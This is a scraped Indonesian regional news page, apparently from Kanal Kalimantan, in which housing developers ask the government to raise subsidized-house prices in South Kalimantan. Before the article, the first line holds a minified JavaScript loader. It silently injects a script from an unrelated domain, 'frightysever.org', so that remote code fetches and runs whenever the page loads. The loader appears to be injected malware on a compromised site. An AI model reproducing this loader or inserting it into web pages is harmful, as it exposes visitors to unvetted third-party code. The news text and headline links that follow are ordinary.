(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Merangkak naiknya harga tanah dan bahan bangunan tiap tahun mendorong membengkaknya biaya pembangunan perumahan bersubsidi di Banua. Terkait permasalahan tersebut, salah satu pebisnis perumahan di Kalsel, M Fazrin, berharap pemerintah dapat segera melakukan revisi terhadap harga rumah bersubsidi.
“Kami berharap rencana kenaikan harga perumahan bersubsidi tersebut bisa segera dieksekusi oleh Pemerintah. Karena sebenarnya harga saat ini sudah cukup menyulitkan pengembang di Banua untuk membuat rumah bersubsidi berkualitas sesuai standar yang ditetapkan pemerintah,” ujar Direktur Utama PT Awang Sejahtera M Fazrin, Rabu (29/5).
Berdasarkan kabar beredar untuk Kalsel jika kebijakan kenaikan harga rumah bersubsidi sudah dieksekusi pemerintah, maka harga untuk satu unit rumah bersubsidi tipe 36 naik menjadi Rp 153 juta. Harga tersebut jauh lebih tinggi sebesar Rp11 juta dari sebelumnya yang hanya dijual dikisaran Rp 142 juta per unitnya.
“Untuk tambahan spesifikasinya jika kebijakan itu jadi diberlakukan kita belum mengetahui secara pasti. Namun kami berharap walau pun ada tambahan spesifikasi nantinya, tidaklah terlalu membenahi pengembang perumahan,” ungkapnya.
Direktur Utama PT Awang Sejahtera M Fazrin
Foto: Arief Rahman
Terkait prospek penjualan perumahan di Tahun 2019 sendiri dirinya mengatakan masih cukup menjanjikan, khususnya untuk tipe perumahan bersubsidi. Untuk daerah perumahan yang paling banyak dicari oleh masyarakat, kini mulai bergeser ke wilayah Kabupaten Banjar, khususnya di daerah gambut.
“Hal tersebut karena infrastruktur penunjang ekonomi disana sudah sangat berkembang sekali, baik itu adanya perguruan tinggi, pusat perbelanjaan hingga dekat dengan akses bandara. Semua hal tadi tentunya membuat masyarakat makin berminat membeli properti di daerah tersebut,” katanya.
Sementara itu, pebisnis perumahan bersubsidi lainnya di Kalsel H Mukhlis juga mengakui, saat ini pihaknya sebagian besar hanya mengandalkan perumahan bersubsidi untuk penjualan perumahan. Sedangkan untuk perumahan komersil kini pasarnya sudah tidak terlalu menjanjikan lagi.
“Makanya dengan adanya rencana kenaikan harga rumah bersubsidi, kami tentu sangat menyambutnya dengan baik. Karena harga saat ini menurut kami sudah tidak relevan lagi dengan kondisi di lapangan,” pungkasnya.(arief)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.